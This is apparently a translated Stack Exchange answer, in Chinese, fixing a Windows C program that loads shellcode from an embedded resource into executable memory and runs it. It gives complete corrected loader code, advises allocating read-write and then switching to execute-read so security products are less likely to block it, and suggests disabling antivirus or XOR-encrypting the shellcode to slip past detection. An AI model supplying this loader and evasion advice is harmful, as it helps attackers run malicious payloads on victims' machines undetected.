内存中资源加载后无执行效果问题排查求助
资源加载执行无响应的排查与解决
补全API返回值校验,修正资源指针获取逻辑
你的代码缺少关键错误检查,且直接使用LoadResource的返回值作为内存源指针是错误的——LoadResource返回的是资源句柄,必须通过LockResource才能拿到可读写的实际内存地址。修改后的代码片段:#include <windows.h> #include <stdio.h> #define IDR_BIN1 102 int main() { HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN1"); if (!shellcodeResource) { printf("FindResource失败,错误码:%d\n", GetLastError()); return 1; } DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource); HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource); if (!shellcodeResourceData) { printf("LoadResource失败,错误码:%d\n", GetLastError()); return 1; } void* shellcodePtr = LockResource(shellcodeResourceData); if (!shellcodePtr) { printf("LockResource失败,错误码:%d\n", GetLastError()); return 1; } void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) { printf("VirtualAlloc失败,错误码:%d\n", GetLastError()); return 1; } memcpy(exec, shellcodePtr, shellcodeSize); ((void(*)())exec)(); return 0; }调整内存权限分配策略
部分安全环境会直接拦截PAGE_EXECUTE_READWRITE权限的内存分配,建议先以PAGE_READWRITE权限分配内存,写入shellcode后再修改为PAGE_EXECUTE_READ权限:void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!exec) { printf("VirtualAlloc失败,错误码:%d\n", GetLastError()); return 1; } memcpy(exec, shellcodePtr, shellcodeSize); DWORD oldProtect; if (!VirtualProtect(exec, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect)) { printf("VirtualProtect失败,错误码:%d\n", GetLastError()); return 1; } ((void(*)())exec)();验证Shellcode本身的有效性
- 确认资源中嵌入的shellcode与程序编译架构(x86/x64)完全匹配,架构不兼容会导致无响应或崩溃。
- 单独测试shellcode的有效性:比如用简单的弹窗shellcode替换现有内容,验证执行逻辑是否正常。
排查安全软件拦截
杀毒软件、EDR等安全工具会监控内存执行类操作,这种直接加载资源执行shellcode的行为极易被拦截。可以暂时关闭安全软件测试,或对shellcode做简单加密(比如异或),在内存中解密后再执行,绕过基础检测。
内容的提问来源于stack exchange,提问作者Роман
相关产品推荐
相关产品推荐

